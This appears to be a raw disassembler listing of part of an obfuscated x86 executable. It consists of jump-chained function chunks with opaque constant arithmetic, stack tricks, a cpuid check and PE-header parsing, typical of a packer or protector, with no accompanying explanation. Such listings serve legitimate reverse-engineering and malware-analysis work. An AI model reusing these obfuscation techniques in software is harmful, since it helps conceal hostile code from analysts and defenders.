; FUNCTION CHUNK AT 0042E2DC SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0042E635 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042E993 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042ED3C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042F058 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0042F168 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0042F650 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042F71D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042F7DB SIZE 00000008 BYTES

		push	eax
		call	sub_42C547
		cmp	dword ptr [ebp-0Ch], 0
		jz	loc_424183
		mov	eax, [ebp-0Ch]
		push	eax
		push	edi
		push	0B71B534Fh
		jmp	loc_42F058
sub_429B76	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427143


loc_429B95:				; CODE XREF: sub_427143+766Ej
		jo	loc_42EE1C
		test	ebp, 1AE671DCh
		jmp	loc_42FB71
; END OF FUNCTION CHUNK	FOR sub_427143

; =============== S U B	R O U T	I N E =======================================



sub_429BA6	proc near		; CODE XREF: wto1jq8f:0042771Ep
					; wto1jq8f:0042C10Aj

arg_0		= dword	ptr  4

		mov	[esp+0], ecx
		pop	ecx
		mov	ebx, [ebx]
		xchg	ebx, [esp-4+arg_0]
		retn
sub_429BA6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_429BB0:				; CODE XREF: wto1jq8f:00429C9Dj
		jmp	loc_42AE39
; ---------------------------------------------------------------------------


loc_429BB5:				; CODE XREF: wto1jq8f:loc_428B00j
		mov	esi, eax
		xchg	esi, [esp]
		call	sub_42FB2F
		push	eax
		push	7B4376B4h
		pop	eax
		and	eax, 4D1F7B7Dh
		jmp	loc_42742B
; ---------------------------------------------------------------------------


loc_429BD1:				; CODE XREF: wto1jq8f:00427954j
		xor	esi, edx

; =============== S U B	R O U T	I N E =======================================



sub_429BD3	proc near		; CODE XREF: sub_4296B3+8p

; FUNCTION CHUNK AT 004242BB SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00424C4C SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00426164 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 00427D21 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428A41 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00429753 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0042B9B4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042D7F7 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0042F272 SIZE 0000001E BYTES

		mov	[esp+0], ebx
		pop	ebx
		cmp	dword ptr [ebp-0Ch], 0
		jz	loc_424C4C
		jmp	loc_427D21
sub_429BD3	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_185. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A88D


loc_429BE7:				; CODE XREF: sub_42A88D+14j
		jmp	loc_427777
; END OF FUNCTION CHUNK	FOR sub_42A88D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4266B1


loc_429BEC:				; CODE XREF: sub_4266B1+2895j
					; sub_4266B1:loc_42A64Dj
		lea	eax, [ebp-14h]
		push	eax
		call	sub_42D910
		push	25BA0E01h
		jmp	loc_42E1CD
; END OF FUNCTION CHUNK	FOR sub_4266B1

; =============== S U B	R O U T	I N E =======================================



sub_429BFF	proc near		; CODE XREF: sub_42821F+59Ep

var_14		= dword	ptr -14h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0042438C SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00424FE2 SIZE 00000037 BYTES
; FUNCTION CHUNK AT 00425F21 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00426C32 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00426DA6 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00427A88 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428918 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042B244 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0042B334 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042B99D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042BC75 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0042BEC0 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0042C22D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042C8B6 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042CCDE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042D01C SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0042D2A2 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0042D633 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0042D72F SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0042D8D3 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0042DA1A SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0042DD22 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042E589 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042EE7F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042EF6F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042F2E7 SIZE 00000012 BYTES

		xchg	eax, [esp+14h+var_14]
		mov	eax, [esp+14h+var_14]
		call	sub_429642
		cmp	eax, 0FFFFFFFFh
		jz	loc_42D73B
		jmp	loc_42B99D
sub_429BFF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_429C18	proc near		; DATA XREF: sub_42E4EA+7o

; FUNCTION CHUNK AT 0042D15B SIZE 00000005 BYTES

		call	sub_42D35A
		test	al, al
		jnz	loc_4245A1
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0E8h
		jmp	loc_42D15B
sub_429C18	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_31. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_429C31:				; CODE XREF: wto1jq8f:00426639j
		add	dword ptr [esi], 0F80586h
		push	3414D002h
		pop	eax


loc_429C3D:				; CODE XREF: wto1jq8f:loc_42B319j
		add	eax, 0CBEB2FFEh
		cpuid
		jmp	loc_42C542
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425E35


loc_429C4A:				; CODE XREF: sub_425E35+3CE6j
		call	sub_426461
; END OF FUNCTION CHUNK	FOR sub_425E35
; START	OF FUNCTION CHUNK FOR sub_426E98


loc_429C4F:				; CODE XREF: sub_426E98-279Bj
		jno	loc_42B543


loc_429C55:				; CODE XREF: sub_426E98:loc_426F76j
		call	sub_424585
		mov	edx, 0CE3062ECh


loc_429C5F:				; CODE XREF: wto1jq8f:loc_426645j
		call	sub_429165
		push	eax
		rol	eax, 0Eh
		jmp	loc_42B215
; END OF FUNCTION CHUNK	FOR sub_426E98
; ---------------------------------------------------------------------------
		pop	ebp
		jmp	sub_429CC7
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_83. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426C0C


loc_429C74:				; CODE XREF: sub_426C0C+1AFAj
		jmp	loc_4265DB
; END OF FUNCTION CHUNK	FOR sub_426C0C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4260A9


loc_429C79:				; CODE XREF: sub_4260A9+11j
		jmp	loc_42EC9D
; END OF FUNCTION CHUNK	FOR sub_4260A9
; ---------------------------------------------------------------------------


loc_429C7E:				; DATA XREF: sub_42CF00+9o
		test	al, al
		jnz	locret_426431
		jmp	loc_42B146
; ---------------------------------------------------------------------------
		mov	ebp, ecx
		shl	esi, 0Dh
		jmp	sub_42F947
; ---------------------------------------------------------------------------
		test	al, al
		jz	loc_427DE3
		jmp	loc_429BB0
; ---------------------------------------------------------------------------

locret_429CA2:				; CODE XREF: wto1jq8f:004244DFj
		retn
; ---------------------------------------------------------------------------


loc_429CA3:				; CODE XREF: wto1jq8f:0042968Bj
		jmp	loc_42839A
; ---------------------------------------------------------------------------


loc_429CA8:				; DATA XREF: sub_42C990-7958o
		push	6962074Dh
		pop	eax
		add	eax, 0EAF3B7B2h
		and	eax, 551D8CFAh
		xor	eax, 1AAA401Fh
		add	eax, ebp
		jmp	loc_428201

; =============== S U B	R O U T	I N E =======================================



sub_429CC7	proc near		; CODE XREF: wto1jq8f:00429C6Ej
					; sub_42CF2Bp

arg_0		= dword	ptr  4

		xchg	ebx, [esp+0]
		pop	ebx
		xchg	ebx, [esp-4+arg_0]
		mov	ebp, ebx
		pop	ebx
		retn
sub_429CC7	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429D2E


loc_429CD2:				; CODE XREF: sub_429D2E-3B77j
		jmp	loc_42F12A
; END OF FUNCTION CHUNK	FOR sub_429D2E
; ---------------------------------------------------------------------------


loc_429CD7:				; DATA XREF: sub_42B276:loc_4281ABo
		call	sub_42CB36
		test	al, al
		jz	loc_429CEB
		call	nullsub_243
		retn
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_243. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_429CEB:				; CODE XREF: wto1jq8f:00429CDEj
		call	sub_42CB36
		jmp	loc_4270F3
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_174. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

locret_429CF6:				; CODE XREF: wto1jq8f:loc_42599Bj
		retn
; ---------------------------------------------------------------------------
		xor	esi, 0D4ACF132h
		jmp	loc_42760D
; ---------------------------------------------------------------------------


loc_429D02:				; DATA XREF: sub_427218+12o
		mov	eax, [ebp+8]
		call	sub_427F8F
		push	0D411C214h
		mov	[esp], edi
		mov	[esp], eax
		rol	eax, 6


loc_429D18:				; CODE XREF: wto1jq8f:0042A684j
		push	ebx
		push	offset sub_426C9F
		jmp	loc_427CAE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4262F5


loc_429D23:				; CODE XREF: sub_4262F5+3615j
		ja	loc_42B125
		jmp	loc_4273E5
; END OF FUNCTION CHUNK	FOR sub_4262F5

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429D2E	proc near		; DATA XREF: sub_427694+1o

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 00424A64 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00424F75 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00424FCC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004261A6 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00426247 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00426A0F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428D27 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00429CD2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042A0FD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042BCB3 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0042C5BB SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0042E986 SIZE 00000003 BYTES
; FUNCTION CHUNK AT 0042EAB5 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042F12A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042F36A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042F7CD SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0042FEB8 SIZE 00000013 BYTES

		mov	ebp, esp
		push	ecx
		cmp	ds:dword_429558, 0
		jnz	loc_42C5BB
		jmp	loc_424F75
sub_429D2E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B276


loc_429D43:				; CODE XREF: sub_42B276:loc_427101j
		jnz	loc_42819A
		jmp	loc_42F6DD
; END OF FUNCTION CHUNK	FOR sub_42B276

; =============== S U B	R O U T	I N E =======================================



sub_429D4E	proc near		; CODE XREF: sub_4260DB+616Cp
					; wto1jq8f:0042DD16j
		mov	[esp+0], edi
		pop	edi
		add	eax, 0D0906B8Eh
		mov	dword ptr [eax], 70736957h
		lea	eax, [ebp-1Ch]
		mov	dword ptr [eax], 646E6957h
		lea	eax, [ebp-18h]
		mov	dword ptr [eax], 6C43776Fh
		jmp	loc_426F1A
sub_429D4E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426E98


loc_429D75:				; CODE XREF: sub_426E98+8C77j
		mov	ebp, offset nullsub_233
		xchg	ebp, [esp+10h+var_10]
		retn
; END OF FUNCTION CHUNK	FOR sub_426E98
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4247C1


loc_429D7E:				; CODE XREF: sub_4247C1+Ej
		jmp	nullsub_36
; END OF FUNCTION CHUNK	FOR sub_4247C1
; [00000003 BYTES: COLLAPSED FUNCTION nullsub_233. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D9D9


loc_429D86:				; CODE XREF: sub_42D9D9:loc_42A878j
		mov	eax, 6
		sub	eax, [ebp-0Ch]
		mov	[ebp-0Ch], eax
		jmp	loc_42699F
; ---------------------------------------------------------------------------


loc_429D96:				; CODE XREF: sub_42D9D9:loc_42D9E7j
		cmp	dword ptr [ebp-1Ch], 66h
		jnz	loc_42676E
		jmp	loc_424B66
; END OF FUNCTION CHUNK	FOR sub_42D9D9
; ---------------------------------------------------------------------------
		test	al, al
		jz	loc_42446E
		jmp	loc_4271D2
; ---------------------------------------------------------------------------


loc_429DB2:				; CODE XREF: wto1jq8f:00424983j
		jns	loc_42D260
		add	ebp, ebx
		push	edx


loc_429DBB:				; CODE XREF: wto1jq8f:loc_42A432j
		push	offset loc_427525
		jmp	loc_42A578
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42658A


loc_429DC5:				; CODE XREF: sub_42658A+Ej
		sub	eax, 8916BF83h
		jns	loc_42B772


loc_429DD1:				; CODE XREF: sub_425CE2+6B9Cj
		jmp	loc_4250CA
; END OF FUNCTION CHUNK	FOR sub_42658A
; ---------------------------------------------------------------------------
		sbb	edx, ebp
		adc	esi, 0BAE7E174h


loc_429DDE:				; CODE XREF: wto1jq8f:loc_4283DCj
		jb	loc_42E67F
		jmp	loc_42B76A
; ---------------------------------------------------------------------------


loc_429DE9:				; CODE XREF: wto1jq8f:0042B594j
		jz	loc_42C2F7
		jmp	loc_42F2E2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42604C


loc_429DF4:				; CODE XREF: sub_42604C+60D8j
		rol	eax, 15h
		jmp	loc_42DA75
; END OF FUNCTION CHUNK	FOR sub_42604C

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429DFC	proc near		; CODE XREF: sub_424BF9j
		push	ebp
		mov	ebp, esp
		mov	esp, ebp
		pop	ebp
		push	offset sub_42AA04
		jmp	nullsub_38
sub_429DFC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_429E0C	proc near		; CODE XREF: sub_42F185-6CECj
		retn
sub_429E0C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426535


loc_429E0D:				; CODE XREF: sub_426535:loc_4280A8j
		jz	loc_42A179
		jmp	loc_42C66B
; END OF FUNCTION CHUNK	FOR sub_426535
; ---------------------------------------------------------------------------


loc_429E18:				; CODE XREF: wto1jq8f:00424289j
		jg	loc_42EC04
; START	OF FUNCTION CHUNK FOR sub_4244EA


loc_429E1E:				; CODE XREF: sub_4244EA:loc_42D7A8j
		add	eax, 0B03159E7h
		push	ecx
		push	0E599B3Ch
		pop	ecx
		xor	ecx, 7FA92EFAh
		jmp	loc_42DF97
; END OF FUNCTION CHUNK	FOR sub_4244EA
; ---------------------------------------------------------------------------
		jns	loc_4298A5
		add	eax, 7D0h
		mov	[ebp-8], eax
		push	edx
		push	8F115938h
		call	sub_42B31F
; START	OF FUNCTION CHUNK FOR sub_42F575


loc_429E4F:				; CODE XREF: sub_42F575+10j
		jmp	loc_427A5F
; END OF FUNCTION CHUNK	FOR sub_42F575
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_153. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426535


loc_429E55:				; CODE XREF: sub_426535+588Cj
		jmp	loc_429F3E
; END OF FUNCTION CHUNK	FOR sub_426535
; ---------------------------------------------------------------------------


loc_429E5A:				; CODE XREF: wto1jq8f:0042DAC0j
		pushf

; =============== S U B	R O U T	I N E =======================================



sub_429E5B	proc near		; CODE XREF: sub_42708B+6287p

; FUNCTION CHUNK AT 00424F18 SIZE 00000006 BYTES

		mov	[esp+0], edi
		pop	edi
		call	sub_424BF9
		push	0
		jmp	loc_424F18
sub_429E5B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429B6D


loc_429E6B:				; CODE XREF: sub_429B6D+16BCj
		jnz	locret_429E76


loc_429E71:				; CODE XREF: sub_429B6D+16AFj
		call	sub_429E77

locret_429E76:				; CODE XREF: sub_429B6D:loc_429E6Bj
		retn
; END OF FUNCTION CHUNK	FOR sub_429B6D

; =============== S U B	R O U T	I N E =======================================



sub_429E77	proc near		; CODE XREF: sub_429B6D:loc_429E71p

; FUNCTION CHUNK AT 0042451D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 004250AC SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0042AAA4 SIZE 00000014 BYTES

		push	ebx
		push	ecx
		call	sub_425E35
		call	sub_42F9AC


loc_429E83:				; CODE XREF: wto1jq8f:0042640Bj
		jmp	loc_42451D
sub_429E77	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4244EA


loc_429E88:				; CODE XREF: sub_426D4F:loc_42B00Dj
					; sub_4244EA+96B7j
		and	eax, 72159C37h
		test	eax, 8
		jmp	loc_424F1E
; END OF FUNCTION CHUNK	FOR sub_4244EA

; =============== S U B	R O U T	I N E =======================================



sub_429E99	proc near		; CODE XREF: wto1jq8f:004244BBj
					; wto1jq8f:0042A540p

arg_0		= dword	ptr  4

		mov	[esp+0], ebx
		pop	ebx
		add	eax, 0E7ADAC07h
		xchg	eax, [esp-4+arg_0]
		jmp	sub_429165
sub_429E99	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42655A


loc_429EAB:				; CODE XREF: sub_42655A+5D1Fj
		jle	loc_427792


loc_429EB1:				; CODE XREF: sub_42655A:loc_42D160j
		push	ecx
		push	7DC3EF74h
		pop	ecx
		and	ecx, 8A22BCD0h
		add	ecx, 0F84044BEh
		xchg	ecx, [esp+4+var_4]
		jmp	sub_42ED32
; END OF FUNCTION CHUNK	FOR sub_42655A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42FBB5


loc_429ECC:				; CODE XREF: sub_42FBB5+Dj
		or	ebx, 42D5CBADh
		add	ebx, 0BBFBB579h
		popf
		sbb	eax, ebx
		call	sub_42E597
; END OF FUNCTION CHUNK	FOR sub_42FBB5
; START	OF FUNCTION CHUNK FOR sub_426968


loc_429EE0:				; CODE XREF: sub_426968+7A90j
		jmp	loc_427D9C
; END OF FUNCTION CHUNK	FOR sub_426968
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426842


loc_429EE5:				; CODE XREF: sub_42C486-1946j
					; sub_426842:loc_42C71Dj
		jmp	loc_42FF2F
; END OF FUNCTION CHUNK	FOR sub_426842
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F50F


loc_429EEA:				; CODE XREF: sub_42F50F-4466j
		cdq
		adc	ebx, ecx
		jnp	loc_427989
		and	ecx, edi
		jmp	loc_42D068
; END OF FUNCTION CHUNK	FOR sub_42F50F
; ---------------------------------------------------------------------------
		push	edi
		push	0AE65A7F4h
		mov	edi, offset loc_42BC02
		call	sub_428755
; START	OF FUNCTION CHUNK FOR sub_425F4F


loc_429F0A:				; CODE XREF: sub_425F4F+2F53j
		or	edi, 606EE699h
		xchg	edx, [eax]
		shr	edx, 1
		pop	ecx
		jmp	loc_42AE44
; END OF FUNCTION CHUNK	FOR sub_425F4F
; ---------------------------------------------------------------------------


loc_429F1A:				; DATA XREF: sub_424635+6o
		push	0FFFFFFFFh
		push	0
		call	sub_42A7E2
; START	OF FUNCTION CHUNK FOR sub_42F614


loc_429F23:				; CODE XREF: sub_42F614:loc_424E6Ej
		xor	[esp+0], eax
		push	eax
		jmp	loc_429653
; END OF FUNCTION CHUNK	FOR sub_42F614
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A909


loc_429F2C:				; CODE XREF: sub_42A909+3AAj
		call	sub_42CB36
		test	al, al
		jz	loc_4275A3
		jmp	loc_42B297
; END OF FUNCTION CHUNK	FOR sub_42A909
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426535


loc_429F3E:				; CODE XREF: sub_426535:loc_429E55j
		jz	loc_42D26A
		jmp	loc_424CBF
; END OF FUNCTION CHUNK	FOR sub_426535
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426E98


loc_429F49:				; CODE XREF: sub_426E98:loc_42CDCAj
		sub	esi, 2D5CCC75h


loc_429F4F:				; CODE XREF: wto1jq8f:0042AF5Dj
		and	ecx, 435DF6D4h
		pop	edi
		jno	nullsub_73
		jmp	loc_4246F7
; END OF FUNCTION CHUNK	FOR sub_426E98
; ---------------------------------------------------------------------------
		sub	edi, 466D7B1Dh
		add	ecx, ebx
		jmp	sub_427488
; ---------------------------------------------------------------------------
		test	ecx, eax
; START	OF FUNCTION CHUNK FOR sub_429F7D


loc_429F70:				; CODE XREF: sub_429F7D:loc_42E6C4j
		jmp	loc_42422C
; END OF FUNCTION CHUNK	FOR sub_429F7D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429B76


loc_429F75:				; CODE XREF: sub_429B76+51CCj
		shl	ebx, 0Ch
		jmp	loc_42723A
; END OF FUNCTION CHUNK	FOR sub_429B76

; =============== S U B	R O U T	I N E =======================================



sub_429F7D	proc near		; CODE XREF: wto1jq8f:00429594j
					; sub_42F947:loc_42C8E8p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0042422C SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00424485 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00428E27 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00429F70 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042A21C SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0042A722 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0042A808 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042B515 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042B6CF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042BEEF SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0042C168 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042E6C4 SIZE 00000011 BYTES

		mov	[esp+4+var_4], ebx
		pop	ebx
		add	eax, 460BE072h
		add	eax, ebp
		call	sub_42A3DA


loc_429F8E:				; CODE XREF: sub_4269FD+3D20j
		cmp	esi, ecx
		jmp	loc_42E6C4
sub_429F7D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426350


loc_429F95:				; CODE XREF: sub_426350+9j
		cmp	dword ptr [ebp-4], 0
		jz	loc_4278D6
		mov	eax, [ebp-4]
		add	eax, 3Ch
		mov	eax, [eax]
		add	eax, [ebp-4]
		add	eax, 18h
		mov	[ebp-10h], eax
		jmp	loc_427C8D
; END OF FUNCTION CHUNK	FOR sub_426350
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_91. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_429FB6:				; CODE XREF: wto1jq8f:0042A438j
		jmp	loc_42DDB1
; ---------------------------------------------------------------------------


loc_429FBB:				; CODE XREF: wto1jq8f:00428CDFj
		xor	[esi], ebx
		add	[esi], ecx
		xor	[esi], edx
		mov	eax, 80000004h
		jmp	loc_42EB99
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42506F


loc_429FCB:				; CODE XREF: sub_42506F+9260j
		call	sub_42BB58
		push	411BC082h
		pop	eax
		and	eax, 64C560F2h
		rol	eax, 1Ch
		jnb	loc_42F30E


loc_429FE5:				; CODE XREF: sub_42F15Dj
					; DATA XREF: sub_42E64B+B08o
		xor	ecx, ecx
		xor	edx, edx
		call	sub_426E65
		add	ebp, 0D7C1AC11h
		jmp	sub_42FE77
; END OF FUNCTION CHUNK	FOR sub_42506F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E676


loc_429FF9:				; CODE XREF: sub_42E676:loc_428EC2j
		add	ecx, 0D220989Dh
		xchg	ecx, [esp+0]
		jmp	loc_425EC2
; END OF FUNCTION CHUNK	FOR sub_42E676
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B35E


loc_42A007:				; CODE XREF: sub_42B35E:loc_425D11j
		add	edx, 0E64FE804h
		mov	dword ptr [edx], 2000h
		jmp	nullsub_15
; END OF FUNCTION CHUNK	FOR sub_42B35E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42ED01


loc_42A018:				; CODE XREF: sub_42ED01j
		mov	eax, offset dword_42CAF8


loc_42A01D:				; CODE XREF: wto1jq8f:004270E8j
		call	sub_42E4DB
; END OF FUNCTION CHUNK	FOR sub_42ED01
; START	OF FUNCTION CHUNK FOR sub_429B76


loc_42A022:				; CODE XREF: sub_429B76+4E22j
		jmp	loc_425C7D
; END OF FUNCTION CHUNK	FOR sub_429B76
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4285AF


loc_42A027:				; CODE XREF: sub_4285AF+Ej
		jmp	nullsub_39
; END OF FUNCTION CHUNK	FOR sub_4285AF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427A8D


loc_42A02C:				; CODE XREF: sub_427A8D:loc_42FF62j
		push	eax
		rol	eax, 7
		mov	ds:dword_42F094, eax
		retn
; END OF FUNCTION CHUNK	FOR sub_427A8D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429471


loc_42A037:				; CODE XREF: sub_429471+38BDj
		jmp	loc_4288F7
; END OF FUNCTION CHUNK	FOR sub_429471
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428845


loc_42A03C:				; CODE XREF: sub_428845+2j
		jmp	loc_428B27
; END OF FUNCTION CHUNK	FOR sub_428845
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427A8D


loc_42A041:				; CODE XREF: sub_427A8D-301Dj
		ror	eax, 7
		jmp	loc_42C585
; END OF FUNCTION CHUNK	FOR sub_427A8D
; ---------------------------------------------------------------------------
		push	eax
		jmp	sub_426A97
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425EA8


loc_42A04F:				; CODE XREF: sub_425EA8:loc_425EB4j
		call	sub_424585
		mov	edx, 20413B0Fh
		call	sub_429165
		push	eax
		jmp	loc_42F35B
; END OF FUNCTION CHUNK	FOR sub_425EA8
; ---------------------------------------------------------------------------


loc_42A064:				; CODE XREF: wto1jq8f:loc_42944Fj
		add	ebx, 514CD4AAh
		xchg	ebx, [esp]
		jmp	loc_42C53D
; ---------------------------------------------------------------------------


loc_42A072:				; CODE XREF: wto1jq8f:00427F8Aj
		jnz	loc_42BDD4
		jmp	loc_427086
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424585


loc_42A07D:				; CODE XREF: sub_424585:loc_42784Cj
		call	sub_42E5B2
		cmp	ds:dword_42DAE4, 0
		jnz	loc_427B25
		lea	edx, [ebp+var_14]
		jmp	loc_42BD27
; END OF FUNCTION CHUNK	FOR sub_424585
; ---------------------------------------------------------------------------


loc_42A097:				; CODE XREF: wto1jq8f:0042737Ej
		push	edi
		mov	edi, eax
		xchg	edi, [esp]
		call	sub_42DC5C


loc_42A0A2:				; CODE XREF: wto1jq8f:0042E668j
		jmp	loc_42C550
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428DBE


loc_42A0A7:				; CODE XREF: sub_428DBE+1Aj
		jmp	loc_42BB33
; END OF FUNCTION CHUNK	FOR sub_428DBE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429B76


loc_42A0AC:				; CODE XREF: sub_429B76-10B5j
		jmp	loc_424086
; END OF FUNCTION CHUNK	FOR sub_429B76
; ---------------------------------------------------------------------------
		jmp	loc_42AF44
; ---------------------------------------------------------------------------
		mov	dword ptr [ebp-8], 1
; START	OF FUNCTION CHUNK FOR sub_428A19


loc_42A0BD:				; CODE XREF: wto1jq8f:0042E28Fj
					; sub_428A19:loc_42EFFCj
		mov	eax, [ebp-8]
		mov	esp, ebp
		pop	ebp
		jmp	loc_42C163
; END OF FUNCTION CHUNK	FOR sub_428A19
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429B76


